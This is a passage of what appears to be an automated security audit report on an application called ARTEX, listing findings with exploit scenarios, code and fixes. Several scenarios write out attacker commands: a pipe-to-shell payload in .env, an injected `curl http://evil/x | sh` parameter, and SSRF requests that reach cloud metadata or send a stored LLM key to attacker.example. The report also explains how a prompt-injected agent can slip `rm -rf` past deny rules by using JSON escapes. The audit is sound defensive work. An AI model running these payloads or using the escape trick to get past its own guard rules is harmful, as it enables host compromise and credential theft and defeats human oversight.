   **What the code actually does**
   - `server/server.go:650-942` — `Handler()` mounts `mux.HandleFunc("POST /api/auth/init", s.authInit)` (line 656), and the whole mux is wrapped as `api := cors(s.requireAuth(mux))` → `root.Handle("/api/", api)`.
   - `server/auth.go:97-115` — `requireAuth` short-circuits with **no token check at all** for any path with prefix `/api/auth/`, so `authInit` is unauthenticated. No `RemoteAddr`/loopback gate exists anywhere in `server/` (grep for `RemoteAddr` → no matches), and `cmd/artex/main.go:55` binds `-addr` default `:8787` (all interfaces, network reachable).
   - `server/auth.go:128-160` — the only guard is `existing, _, _ := pg.GetSetting(authPassKey)` + `if existing != "" { 403 }`. `db/settings.go:9-18` returns `""` for a missing key (and `_` swallows the error), so an unset `auth.password_hash` passes. The attacker-supplied password is bcrypt-has…

4. **[HIGH] CWE-94: Improper Control of Generation of Code (Code Injection)** — `reset-password.sh:204` _(Agentic SAST)_ · CVSS 7.8
   Sourced .env allows arbitrary command execution [CVSS 7.8: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H]
   #### Description
   In docker mode, the script runs `set -a; . ./.env; set +a`. `source` evaluates shell syntax, so command substitutions in .env are executed. The file is a project-level config often shared/committed. It can also overwrite SQL (built earlier at line 139) and connection variables, so the subsequent docker exec psql pipe sends attacker-controlled SQL.
   
   #### Impact
   An attacker who can write the deployment .env can execute arbitrary shell commands as the operator running reset-password.sh, and can override the SQL variable to run arbitrary SQL as the database role. This can lead to host compromise or full database takeover.
   
   #### Exploit scenario
   Attacker commits `.env` with `POSTGRES_PASSWORD=$(curl -s http://attacker/payload.sh | sh)`. Operator runs `./reset-password.sh -m docker` to reset the admin password; the command substitution runs on the operator's host before any confirmation.
   
   #### Preconditions
   - attacker can write .env in the deployment directory or shared checkout
   - operator runs reset-password.sh in docker mode (or auto-detects docker)
   
   ```
   if [[ -f .env ]]; then
     # shellcheck disable=SC1091
     set -a; . ./.env; set +a
   fi
   ```
   
   #### How to fix
   Do not source .env. Parse it as key=value into a restricted allow-list of variables, or pass the file to `docker compose --env-file`; if shell sourcing is required, source a root-owned file with restrictive permissions and validate no unquoted substitutions.
   
   **Exploitability:** Local-only but arbitrary command execution when reset-password.sh sources .env. A shared/committed .env with command substitution executes as the invoking user; can also rewrite the SQL/connection variables used by the script.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 8/10) — `. ./.env` at line 206 genuinely executes command substitutions on the operator's host; the "overwrites SQL" sub-claim is wrong (SQL is built at 139, before sourcing) but the RCE primitive stands.
   
   **Verification**
   
   **A. Cited code is real.** `reset-password.sh:204-207` does exactly what the scanner claims:
   
   ```bash
   if [[ -f .env ]]; then
     set -a; . ./.env; set +a
   fi
   ```
   
   `source`/`.` evaluates the file as shell, so `$(...)`, backticks, and even `$(...)`-in-unquoted-values execute on the operator's host. This is a genuine, well-known `.env`-sourcing hazard, not a mis-read.
   
   **B. Reachability / entry point.** `reset-password.sh` is a standalone operator-run script (not wired into the Go server, not invoked by `install.sh`/`start.sh`/`update.sh` — confirmed by grep). It is run manually, typically as `./reset-password.sh -m docker` (or auto-detected docker mode at lines 114-122 when `docker-compose.yml` exists and no DSN/host is given). So the "external entry point" is the operator's shell, and the untrusted input is the repo-local `.env`.
   
   **C. The claimed impact chain — partially wrong, and this matters.**
   
   The scanner says the sourced `.env` "can also overwrite SQL (built earlier at line 139)". **This is false.** `SQL` is built at lines 139-147, *before* the `.env` is sourced at line 206. So `.env` cannot influence `$SQL` at all. The SQL is a fixed heredoc with only `$PASS_KEY` and `$BCRYPT_COST` (both hardcoded) interpolated, and the new password is passed via `\getenv` + `:'newpw'` (properly escaped). So the "attacker-controlled SQL" sub-claim is a mis-read.
   
   What `.env` *can* influence is the connection variables read *after* sourcing: `POSTGRES_USER`/`POSTGRES_DB` (lines 208-209) and `POSTGRES_PASSWORD` (line 211). These are passed as `psql -U "$DUSER" -d "$DNAME"` argv — quoted, so no shell injection there. They only steer *which* DB/role is targeted, not the SQL text.
   
   **D. The real, surviving impact is the command substitution itself.** `POSTGRES_PASSWORD=$(curl -s http://attacker/payload.sh | sh)` in a committed `.env` runs arbitrary code on the operator's host the moment they run the script in docker mode. That is a true code-execution primitive.
   
   **E. Probing the defence.** Th…

5. **[HIGH] CWE-494** — `install.sh:22` _(Agentic SAST)_ · CVSS 8.3
   Docker auto-install pipes unverified remote script to sh [CVSS 8.3: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H]
   #### Description
   ensure_docker() prompts to auto-install Docker and, on Linux, runs `curl -fsSL https://get.docker.com | sh`. The content is consumed as a shell script straight from the network; there is no pinned release, no SHA256, and no signature verification. Integrity rests entirely on the TLS session to get.docker.com. Anyone who controls the response (upstream compromise, DNS/CA-level interception) gets code execution as whatever user invoked install.sh, which then goes on to create docker containers.
   
   #### Impact
   The installer fetches https://get.docker.com at runtime and executes it directly with sh, with no version pin, checksum, or signature check. If the remote host or the TLS-terminating path is compromised, arbitrary code runs on the operator's machine (typically with docker-group / sudo-adjacent privileges) at install time.
   
   #### Exploit scenario
   An attacker who compromises get.docker.com (or the TLS path) serves a modified install script. An operator runs ./install.sh, answers 'y' to the auto-install prompt, and the attacker's payload executes on the host with the operator's privileges before Docker is even configured.
   
   #### Preconditions
   - Operator chooses the automatic Docker install path (answers y)
   - Attacker can influence the https://get.docker.com response
   
   ```
   curl -fsSL https://get.docker.com | sh
   ```
   
   #### How to fix
   Pin a specific installer version and verify its SHA256/signature before execution (e.g. download to a temp file, check a known-good hash, then run), rather than piping an unpinned URL to sh.
   
   **Exploitability:** Supply-chain primitive: install.sh pipes an unpinned get.docker.com script to sh. Integrity depends only on TLS to the remote host; compromise/DNS/CA-level interception yields code execution as the installer. Requires operator action.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 8/10) — install.sh:22 confirmed verbatim; get.docker.com body is piped to sh with no pin/SHA256/signature, so integrity rests solely on TLS to a third-party host, and the script is a documented operator entry point; the only mitigating control is transport-level and cannot detect a *valid-looking* tampered script.
   
   **Verification walk-through**
   
   **A/B — the sink is real and the scanner read it correctly.**
   `install.sh:22` is, verbatim, `curl -fsSL https://get.docker.com | sh`. There is no `-o`/save step, no `sha256sum -c`, no `gpg`, no pinned ref. Confirmed by Grep: `docker|SHA256|sha256` finds no verification anywhere in the script. `README.md:74` documents `./install.sh` as the recommended operator entry point, so this is a user-run (external-actor) path, not test-only, not a build-time artifact. Both invocation routes (`install_docker` at line 35 via menu `1`, and `install_local` at line 62 via menu `2`) reach `ensure_docker`; both are real.
   
   **C — reachability.** `ensure_docker` is gated by `command -v docker && docker compose version` (line 15): on a host that already has Docker, the curated script never runs. So the sink fires only on the fresh-host path *and* only when the operator answers `y` (default is `y`, line 21). That narrows reachability but does not remove it — it's exactly the onboarding scenario the script exists for.
   
   **D — attempt to kill the finding.**
   
   1. *"`-f`/`-s`/`-S`/`-L` already protect it."* No — those flags only guarantee a 2xx response and show errors. The bytes are never hashed or signed. TLS is the *sole* integrity control. This is the classic distinction between transport integrity and artefact integrity.
   2. *"`| sh` at least fails closed on a truncated body."* Partially true and worth crediting: `curl -f` ensures a non-error status, and `set -euo pipefail` (line 3) means a partial body that yields a non-zero exit aborts the run. But a *malicious* body has exit 0; there's no `set -e` protection against correct-looking-but-different code.
   3. *"The host's TLS is strong (HSTS/preload, modern PKI)."* True, and this is the honourable intent of the find…

6. **[HIGH] CWE-613** — `server/auth.go:165` _(Agentic SAST)_ · CVSS 7.5
   Password change does not revoke outstanding JWTs (7-day fixed TTL) [CVSS 7.5: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H]
   *1 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied.*
   
   #### Description
   signJWT (server/auth.go:64-70) issues HS256 tokens with Subject "ARTEX" and a fixed 7*24h expiry and nothing else. verifyJWT (server/auth.go:73-81) only checks the HMAC method, signature and exp — no server-side session store, no token version, no jti denylist. authChangePassword (server/auth.go:165-205) rewrites auth.password_hash but never rotates s.jwtKey or bumps any generation counter, so every token minted before the change still validates. There is also no logout endpoint; the only way to invalidate all sessions would be to delete/replace jwt.key, which the code never does at runtime.
   
   #### Impact
   A token obtained once (stolen cookie, leaked SSE ?token= URL, shared log, browser history) keeps full admin access for up to seven days even after the operator changes the password in response to a compromise. The single signing key never rotates and signJWT has no session/version claim the verifier could compare against.
   
   #### Exploit scenario
   Attacker obtains a token (e.g. an SSE URL like /api/exploration/activity/stream?token=<jwt> captured in a reverse-proxy access log). The victim notices and changes the admin password; the attacker keeps using the same Bearer token against /api/* for the remaining life of the 7-day claim, because verifyJWT has no revocation check.
   
   #### Preconditions
   - Attacker has obtained a previously issued JWT
   - Operator responds by changing the password rather than deleting data/jwt.key
   
   ```
   func signJWT(key []byte) (string, error) {
   	return jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.RegisteredClaims{
   		Subject:   "ARTEX",
   		ExpiresAt: jwt.NewNumericDate(time.Now().Add(jwtTTL)),
   		...
   	if err := pg.SetSetting(authPassKey, string(newHash)); err != nil {
   ```
   
   #### How to fix
   Add a per-install session generation claim (or persist a jwt_epoch in settings) that authChangePassword bumps, and have verifyJWT compare the token's epoch to the stored value; alternatively rotate s.jwtKey on password change and shorten jwtTTL.
   
   **Exploitability:** Post-auth session-persistence flaw: password changes do not rotate jwtKey or invalidate tokens, and there is no logout. Stolen tokens remain valid for the fixed 7-day TTL. Chains directly with token-leak bugs and brute force.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 8/10) — password change rewrites only `auth.password_hash`; `verifyJWT` checks signature+`exp` against a never-rotated process-wide key with no `jti`/version, and there is no backend logout, so a leaked 7-day token survives credential rotation.
   
   I verified the whole path in source.
   
   **Code facts (verified):**
   - `signJWT` (auth.go:64–70) puts only `Subject: "ARTEX"`, `iat`, `exp = now+7d` in the claims — no `jti`, no version/generation claim.
   - `verifyJWT` (auth.go:73–81) parses with only a method assertion (`*jwt.SigningMethodHMAC`) plus the library's default `exp` check, against a process-wide `s.jwtKey`. No store lookup, no denylist, no comparison against `auth.password_hash`.
   - `requireAuth` (97–115) gates every `/api/*` route on nothing but `verifyJWT(tok, s.jwtKey)`. Wiring confirmed at `server/server.go:938` (`api := cors(s.requireAuth(mux))`) and route registration at 655–658.
   - `authChangePassword` (165–205) verifies the token, checks `old_password` with bcrypt, then only does `pg.SetSetting(authPassKey, newHash)`. `s.jwtKey` is set exactly once (`server.go:148`, from `loadOrCreateJWTKey`) and never re-assigned, rotated, or rewritten at runtime. Grep for `jti|token_version|revok|denylist` across `server/` returns no revocation machinery.
   - Grep for `logout` in `server/` and in `web/src/lib` finds none on the backend; `web/src/lib/api.ts:125-130` "logout" is purely `localStorage.removeItem` + cookie delete + redirect, i.e. the token stays cryptographically valid for the rest of its 7-day life.
   - Token exposure surface is real and independen…

   *1 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied.*
   
   #### Description
   runCommandTool renders the admin-authored `command` template with renderTemplate(spec.Command, params, shellQuote). shellQuote itself is a correct POSIX single-quote escape, but renderTemplate performs one independent strings.ReplaceAll pass per parameter over the WHOLE already-rendered string. So a value inserted for an earlier parameter is re-scanned for later placeholders. If parameter a's value is the literal text `{b}` and the template also contains `{b}`, the pass for b rewrites the `{b}` that is sitting INSIDE a's single quotes: the quoted value `'{b}'` becomes `'';id;''`, which the shell parses as an empty string, then the unquoted text `;id;`, then another empty string — the injected command executes. Because Go map iteration order is random, the a-before-b ordering is probabilistic per call, but the agent can simply retry.
   
   #### Impact
   A caller that controls custom-tool parameters (the LLM/agent, steerable by a hostile scanned target) can run arbitrary shell commands as the ARTEX server user, beyond the intended command template. Impact is full command execution with the backend's privileges on the host.
   
   #### Exploit scenario
   A command tool is defined as `nmap {args} {target}`. A prompt-injected target page tells the agent to call it with args=`{target}` and target=`; curl http://evil/x | sh ;`. In the run where the map iterates `args` before `target`, the rendered shell line becomes `nmap ''; curl http://evil/x | sh ;''`, and the pipe-to-shell runs on the server as the ARTEX user.
   
   #### Preconditions
   - A custom command tool whose template references more than one parameter
   - Loader can influence custom-tool parameter values (LLM agent; reachable via pgTestCustomTool too)
   - Go map iteration yields the placeholder-bearing parameter before the malicious one (agent can retry)
   
   ```
   cmd := renderTemplate(spec.Command, params, shellQuote)
   ...
   func renderTemplate(tmpl string, params map[string]any, quote func(string) string) string {
   	out := tmpl
   	for k, v := range params {
   		out = strings.ReplaceAll(out, "{"+k+"}", quote(valToStr(v)))
   	}
   	return out
   }
   ```
   
   #### How to fix
   Render placeholders in a single pass that never rescans inserted values (e.g. a scanner over the template that emits the quoted value and skips past it, or render from a parsed token list) so substituted text is never itself treated as template. In renderTemplate at server/customtool.go:497-503, replace the per-key strings.ReplaceAll loop with one left-to-right scan of the template.
   
   **Exploitability:** Post-auth command injection: renderTemplate independently re-scans each parameter across the whole rendered string, so a value containing `{b}` can break out of POSIX single quotes when a later placeholder is expanded. The agent controls parameters and can retry until map order favors it. Primitive: shell execution as server user.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 7/10) — `renderTemplate` does one `ReplaceAll` pass per param over the already-rendered string, so a `{b}` inside param a's shell-quoted value is rewritten by b's pass and escapes the single quotes; params are unvalidated agent/HTTP-body input flowing into a real shell via `NewBash().Call`.
   
   **Verification**
   
   **The sink code** (`server/customtool.go:497-503`) is exactly as reported:
   
   ```go
   func renderTemplate(tmpl string, params map[string]any, quote func(string) string) string {
   	out := tmpl
   	for k, v := range params {
   		out = strings.ReplaceAll(out, "{"+k+"}", quote(valToStr(v)))
   	}
   	return out
   }
   ```
   
   **Confirmed defects:**
   1. Sequential passes over the *already-rendered* output — `out`, not `tmpl`. So an earlier-inserted quoted value is re-scanned by later iterations.
   2. Iteration is over `map[string]any` → nondeterministic order (Go randomizes bucket/offset start).
   3. `shellQuote` (`:494`) is a single-quote escape; it does not …

8. **[HIGH] CWE-436** — `intercept/intercept.go:534` _(Agentic SAST)_ · CVSS 7.4
   Intercept rules match raw JSON, bypassable with escapes [CVSS 7.4: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H]
   #### Description
   guard.applyIntercept passes the raw tool-input JSON bytes to Interceptor.Match (intercept/intercept.go:508). ruleMatches treats those bytes literally: for MatchTarget == 'tool_input' it sets subject = string(input) and then uses strings.Contains or regexp.MatchString on the raw JSON. The tool runtime, however, parses the same bytes as JSON and executes the decoded string. JSON therefore has two different interpretations: the interceptor sees the escaped representation, while the tool sees the decoded command. Any character in a rule pattern can be represented by a JSON escape (e.g. \u0072 for 'r', \u002d for '-', \u0020 for space, \/ for '/') without changing the command that is eventually executed. There is no json.Unmarshal or semantic normalization before matching, so a rule like 'rm -rf' does not match {"command":"\u0072m -rf /var/www/html"} even though Bash runs 'rm -rf /var/www/html'.
   
   #### Impact
   A user-configured deny/ask rule can be silently skipped while the tool still executes the decoded, dangerous command. An attacker who can prompt-inject the agent can therefore perform destructive actions that the intercept layer was configured to block or require human approval for.
   
   #### Exploit scenario
   A deny rule matches 'rm -rf' on tool_input. A target page prompt-injects the agent to 'run rm -rf /var/www/html but encode the first letter as a JSON unicode escape'. The agent emits {"command":"\u0072m -rf /var/www/html"}. Match sees the literal backslash-u sequence, the deny rule does not match, and the Bash tool decodes the JSON and executes the destructive command without the configured interception.
   
   #### Preconditions
   - An intercept rule is configured with match_target='tool_input'
   - The attacker can influence the agent's tool arguments (e.g. target-content prompt injection)
   - The rule pattern does not itself account for JSON escape sequences
   
   ```
   func ruleMatches(r compiledRule, toolName string, input []byte) bool {
   	var subject string
   	switch r.MatchTarget {
   	case "tool_name":
   		subject = toolName
   	case "tool_input":
   		subject = string(input)
   	default:
   		return false
   	}
   	if r.MatchType == "regex" {
   		return r.re != nil && r.re.MatchString(subject)
   	}
   	return strings.Contains(subject, r.Pattern)
   }
   ```
   
   #### How to fix
   Before evaluating tool_input rules, decode the JSON arguments and match against the semantic value(s) the tool will actually consume (or canonicalize the input in the same way the tool runtime does). Specifically, in ruleMatches (intercept/intercept.go:534-547) replace subject = string(input) with a decoded representation of the tool arguments, falling back to raw bytes only when the arguments are not valid JSON.
   
   **Exploitability:** Post-auth guard bypass: intercept rules match raw JSON bytes while the tool runtime executes decoded values. A JSON escape such as `\u0072m -rf` evades a literal `rm -rf` rule while Bash executes the intended command. This is the key bypass that enables shell/command-tool sinks.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 7/10) — `ruleMatches` matches the raw JSON bytes with `strings.Contains`/`regexp` while the Bash tool executes the JSON-decoded command; `\u0072m -rf …` evades the seeded `rm`-detection rules with no normalization step anywhere between `hook.Event.Input` and the sink.
   
   **What the code actually does**
   
   **Sink verified** (`intercept/intercept.go:534-548`): `ruleMatches` sets `subject = string(input)` — the raw JSON argument bytes — and applies `regexp.MatchString` / `strings.Contains` to them. No `json.Unmarshal`, no field extraction, no semantic normalization anywhere on this path. `Interceptor.Match` (intercept.go:508-532) passes the same `[]byte` straight through per rule.
   
   **Caller chain verified**:
   - `guard/guard.go:83-91` → `applyIntercept` calls `g.interceptor.Match(ev.ToolName, ev.Input)` where `ev.Input` is the tool's raw argument JSON.

9. **[HIGH] CWE-598** — `web/src/lib/api.ts:189` _(Agentic SAST)_ · CVSS 7.7
   SSE bearer token exposed in URL query string [CVSS 7.7: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N]
   #### Description
   getToken() reads the JWT from localStorage, and sseUrl() interpolates it directly into the EventSource URL as ?token=... rather than sending it in an Authorization header. Because query strings are routinely logged by proxies and retained in browser history, the credential crosses into a less protected storage location. The app uses SSE for chat/side-question streams, so this happens during normal authenticated use, not only in a rare error path.
   
   #### Impact
   The session bearer token is appended to every SSE URL as a query parameter, so it is recorded by reverse-proxy/access logs, browser history, and Referer headers. Anyone who can read those logs or observe plaintext HTTP traffic can replay the token and take over the authenticated session.
   
   #### Exploit scenario
   An attacker with read access to nginx/Envoy access logs searches for 'GET /api/*events?token=' and extracts the JWT. They then call any protected API with 'Authorization: Bearer <stolen JWT>' and act as the logged-in user.
   
   #### Preconditions
   - The victim uses any SSE-backed feature (e.g. side questions or activity stream), causing the token-bearing URL to be requested.
   - The attacker can read reverse-proxy/access logs, browser history/sync, or intercept plaintext HTTP traffic.
   
   ```
   export function sseUrl(path: string): string {
     const base =
       process.env.NEXT_PUBLIC_SSE_BASE ??
       (process.env.NODE_ENV !== "production" && typeof window !== "undefined"
         ? `${window.location.protocol}//${window.location.hostname}:8787`
         : "");
     const token = getToken();
     const sep = path.includes("?") ? "&" : "?";
     return token ? `${base}${path}${sep}token=[REDACTED-SECRET]])}` : `${base}${path}`;
   }
   ```
   
   #### How to fix
   Avoid placing bearer credentials in query strings. For same-origin SSE, rely on an HttpOnly SameSite cookie or another header-capable transport; if a query token is unavoidable, make it a short-lived single-use token and ensure all logs redact the token parameter. Specifically, change sseUrl() at web/src/lib/api.ts:197 so the session JWT is not appended directly to the EventSource URL.
   
   **Exploitability:** Client-side JWT leak: SSE URL puts the bearer token in `?token=`, exposing it to proxy logs, browser history, and referrer-adjacent storage. Requires authenticated use by the operator, then a reader of logs/history. Chains with non-revocable JWTs.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 7/10) — sseUrl() unconditionally appends the localStorage JWT to the SSE query string on every normal authenticated stream; Go's extractToken accepts `?token=` as a full bearer credential, and the documented nginx deploy logs `$request`. Severity limited: requires log-read access, and the token is redundant in the same-origin prod default.
   
   **Verification**
   
   **Sink confirmed (web/src/lib/api.ts:189‑198)**
   
   ```ts
   function getToken(): string | null {                 // :109
     if (typeof window === "undefined") return null;
     return localStorage.getItem("artex_token");
   }
   export function sseUrl(path: string): string {       // :189
     const base = process.env.NEXT_PUBLIC_SSE_BASE ?? (NODE_ENV !== "production" ? ":8787 origin" : "");
     const token = getToken();
     const sep = path.includes("?") ? "&" : "?";
     return token ? `${base}${path}${sep}token=[REDACTED-SECRET]])}` : …
   }
   ```
   The scanner's snippet matches the real code (the `[REDACTED-SECRET]` in the grep dump is the harness's own secret masking of `encodeURIComponent(token)`). `getToken()` returns the raw JWT from `localStorage`, so whenever a token exists the SSE URL always carries `?token=<JWT>`.

   Caller-controlled base_url drives SSRF and LLM key exfil [CVSS 7.7: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N]
   #### Description
   pgListModels decodes req.BaseURL straight from the JSON body (line 1982) and only trims it (line 2003); it is then concatenated into candidate URLs and fetched with client.Do (line 2071). Nothing constrains the host or scheme, so the endpoint is a full SSRF primitive (host, port and scheme are all attacker-chosen). Separately, when req.APIKey is empty and req.ProfileID is set, the stored profile's secret key is loaded (lines 1993-1996) and set as an Authorization/x-api-key header (bearerHdr/anthropicHdr, lines 2014-2024) on the request to the caller-chosen base_url, so the key is delivered to an attacker-controlled server. The status/body of the internal response is echoed back in the error field (line 2079).
   
   #### Impact
   An authenticated caller can make the server issue an arbitrary GET to any host/scheme (internal services, cloud metadata) and, by passing profile_id with an empty api_key, cause the stored LLM API key to be sent to that host in the Authorization header. Responses (status + first 512 bytes, or model ids) are returned to the caller.
   
   #### Exploit scenario
   With a valid JWT, POST {"provider":"openai","base_url":"http://169.254.169.254/latest/meta-data","api_key":"x"} to /api/llm/models and read internal metadata via the returned error body (only when the response is non-200) or model list; or POST {"provider":"openai","base_url":"https://attacker.example","profile_id":1} with no api_key to receive the server's stored LLM API key in the Authorization header of the outbound request.
   
   #### Preconditions
   - Valid JWT (any authenticated session)
   - For key exfiltration: at least one saved LLM profile with an API key and knowledge of its id
   
   ```
   baseURL := strings.TrimRight(strings.TrimSpace(req.BaseURL), "/")
   ...
   if apiKey == "" && req.ProfileID != nil { ... apiKey = [REDACTED-SECRET] ... }
   ...
   httpReq, err := http.NewRequestWithContext(r.Context(), http.MethodGet, c.url, nil)
   ...
   resp, err := client.Do(httpReq)
   ```
   
   #### How to fix
   Validate base_url against an allow-list of hosts/schemes (or at minimum resolve and reject private/loopback/link-local ranges) before building candidate URLs, and require an explicit api_key when base_url differs from the profile's stored base_url, so a stored secret is never sent to a caller-supplied host.
   
   **Exploitability:** Post-auth SSRF plus secret exfiltration: caller-supplied base_url is fetched without host/scheme restriction, stored profile/global LLM keys are attached as headers, and response status/body leaks back in the error field. Full host/port/scheme SSRF and provider-key theft.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 9/10) — unvalidated body `base_url` reaches `client.Do` with a bare transport (no dial guard/redirect limit, unlike `notify`), and the stored profile secret key is attached to that caller-chosen host; route is JWT-gated only.
   
   Verification summary:
   
   **Sink (verified, `server/server_mgmt.go:1979-2112`)**
   - `BaseURL` is decoded straight from JSON (line 1982/1987), only `TrimSpace`/`TrimRight("/")` (line 2003) — no scheme, host, port, or IP filter.
   - Concatenated into candidate URLs (2035, 2041, 2046-2047) and fetched with `client.Do` (2071).
   - Client is a bare `&http.Transport{}` (2053) — **no** `DialContext`/`Control` hook and **no** `CheckRedirect`, so it differs from the hardened `notify` client (`notify/http.go:66-119`) which does have `blockInternalDial` + cross-host redirect rejection. The defence that exists elsewhere in the repo is simply not wired here.
   - Response body is echoed back: 512 bytes of the body on non-200 (2079) → `{"ok":false,"error":...}` returned to the client (2111). On 200, parsed model `id` values are returned (2099) and, with `emptyOK`, still 200. So the read primitive is real, not blind.
   - `client.Do` follows redirects by default, so a `public` URL redirecting to `http://169.254.169.254/...` also works, and a 200 at the metadata endpoint yields a "success" path (or an error body with the…

11. **[HIGH] CWE-276: Incorrect Default Permissions** — `install.sh:78` _(Agentic SAST)_ · CVSS 7.1
   Database password written to world-readable config.json [CVSS 7.1: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N]
   #### Description
   install_local() builds a JSON document with `cat > config.json` containing `"password": "${DB_PASS}"`. There is no `umask 077`, no `chmod 600`, and no other access restriction. On a host with the common umask 022, the resulting file is readable by every local account. The password remains plaintext for the lifetime of the deployment.
   
   #### Impact
   install.sh writes the PostgreSQL password into config.json using the shell's default umask, typically creating a 0644 file. Any local user on the host can read the database password and connect directly to PostgreSQL, bypassing ARTEX authentication.
   
   #### Exploit scenario
   A low-privileged local user runs `cat /path/to/config.json`, extracts the database password, and connects to the PostgreSQL service (often 127.0.0.1:5432) as the artex database user to read credentials or modify settings.
   
   #### Preconditions
   - Attacker has a local unprivileged account on the same host
   - The generated config.json was created with a permissive umask
   - PostgreSQL is reachable from that account
   
   ```
   cat > config.json <<JSON
   {
     "database": {
       "host": "${DB_HOST}",
       "port": ${DB_PORT},
       "user": "${DB_USER}",
       "password": "${DB_PASS}",
       "dbname": "${DB_NAME}",
       "sslmode": "${DB_SSL}"
     }
   }
   JSON
   ```
   
   #### How to fix
   Create config.json with restrictive permissions, e.g. run `umask 077` before the heredoc or `chmod 600 config.json` immediately after writing it. Apply the same protection to any other generated credential file.
   
   **Exploitability:** Local information disclosure: install.sh writes DB_PASS into config.json without umask/chmod, commonly world-readable under umask 022. A local account or another container on the bind mount can read the database credential for the lifetime of the deployment.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 7/10) — install.sh:78-89 writes the DB password to config.json with no umask/chmod (0644 under default umask; repo-wide grep confirms nothing else tightens it), and the credential is directly usable against the installer's host-published Postgres (5432:5432).
   
   **Verification**
   
   **Code as cited (install.sh:56–90).** `install_local()` asks for (or generates) the Postgres password (`DB_PASS`), then writes it verbatim:
   
   ```bash
   cat > config.json <<JSON
   ...
       "password": "${DB_PASS}",
   ...
   ```
   
   Verified in the real file (lines 78–89). Confirmed **no** `umask`, **no** `chmod`, and **no** `install -m`. A repo-wide grep for `umask|chmod` returns only `Dockerfile:39`, `build.sh:182` (start.sh), `deploy/entrypoint.sh:19` (PGDATA 700) — nothing touches `config.json`.
   
   **No upstream defence.** `config.json` is not created by the Go binary either; `config/config.go` only *reads* it (`os.ReadFile(Path())`) and the only `MkdirAll` is for the skills dir (0o755). So the file mode is entirely determined by the installer's inherited umask → 0644 under the near-universal 022.
   
   **Path to impact is real, not hypothetical.**
   - `install.sh:64-66`: in the local+Docker-Postgres branch the password is also the container password, and the container is published as `-p 5432:5432` (all interfaces, not `127.0.0.1`), with the image's default `host all all all scram-sha-256` pg_hba. The credential in the 0644 file is therefore directly usable from a second local account.
   - The file is persistent (it is the deployment's config, re-read on every start / used by `reset-password.sh`), so the exposure lasts the deployment lifetime, and it is not covered by `.gitignore`-style mitigation (`.gitignore` only stops commits, not local reads).
   - Same defect in the Docker path: `install_docker` writes `POSTGRES_PASSWORD=${pw}` into `.env` (line 41) with default umask too — the pattern is systemic, not a one-off line.
   
   **Attempts to kill it:**
   - *Only the deployer can read it?* No — 0644 + a traversable install dir (repo dir, `cd "$(dirname "$0")"`) means any local account can read it; there is no ownership/group restriction anywhere.
   - *Handled elsewher…

12. **[MEDIUM] CWE-526** — `server/mcpdiscover.go:24` _(Agentic SAST)_ · CVSS 6.8
   stdio MCP children inherit server secrets via environment [CVSS 6.8: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N]
   #### Description
   connectMCP's stdio branch calls mcp.NewStdioClient(ctx, m.Name, m.Command, jsonStrMap(m.Env), jsonStrSlice(m.Args)...). The only environment passed explicitly is m.Env (admin-configured MCP entries), so the child inherits the parent process environment unless NewStdioClient scrubs it; the same codebase's execPython explicitly does c.Env = append(os.Environ(), sessionEnv...), showing the convention is to inherit. The ARTEX process environment includes ARTEX_PG_DSN (main.go logs it as the DB override) and, when configured via env, provider API keys. Thus every stdio MCP binary launched—including the seeded npx browser MCP on first-run discovery—receives DB and LLM credentials it never needs and can POST them anywhere.
   
   #### Impact
   A malicious or compromised stdio MCP package spawned by the server can read ARTEX_PG_DSN and provider API-key variables from the inherited process environment and exfiltrate them. This turns a third-party MCP dependency into full database and LLM-credential compromise.
   
   #### Exploit scenario
   An attacker publishes a compromised version of the npx package used by the seeded stdio MCP (or convinces the admin to add a package with a typo-squatted name). On discovery the server spawns it; the child reads process.env.ARTEX_PG_DSN and the LLM key, sends them to the attacker, yielding full PostgreSQL access and LLM-account takeover.
   
   #### Preconditions
   - A stdio MCP server is configured/enabled (the seeded browser MCP triggers this automatically on startup)
   - The MCP command resolves to a malicious or compromised third-party package
   - The server process environment carries DB/provider secrets (ARTEX_PG_DSN or env-based LLM config)
   
   ```
   return mcp.NewStdioClient(ctx, m.Name, m.Command, jsonStrMap(m.Env), jsonStrSlice(m.Args)...)
   ```
   
   #### How to fix
   Treat the MCP child environment as untrusted: build an explicit allow-list environment for NewStdioClient (PATH, HOME, locale plus m.Env) instead of inheriting os.Environ. Change connectMCP at server/mcpdiscover.go:30 to pass a scrubbed env and verify mcp.NewStdioClient does not itself append os.Environ.
   
   **Exploitability:** Post-auth / admin-configured: stdio MCP children inherit the parent environment unless scrubbed, including ARTEX_PG_DSN and possibly provider keys. A malicious or typo'd MCP binary can exfiltrate DB/LLM credentials. Requires an MCP server to be configured.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 6/10) — stdio MCP spawn passes only `m.Env` and inherits the parent process env (no scrubbing anywhere in artex, precedent in execPython/bootstrap; `NewStdioClient` itself is in unvendored norma, hence not fully confirmable), so admin-installed third-party MCP packages receive `ARTEX_PG_DSN`/`ANTHROPIC_API_KEY`; reachable unauthenticated on startup discovery and, unfiltered by `Enabled`, via `pgRefreshMCP`. Noted inaccuracies: the seeded browser MCP ships `enabled:false`, and the child is inherently arbitrary code anyway (mitigating, not invalidating).
   
   **Verification trail**
   
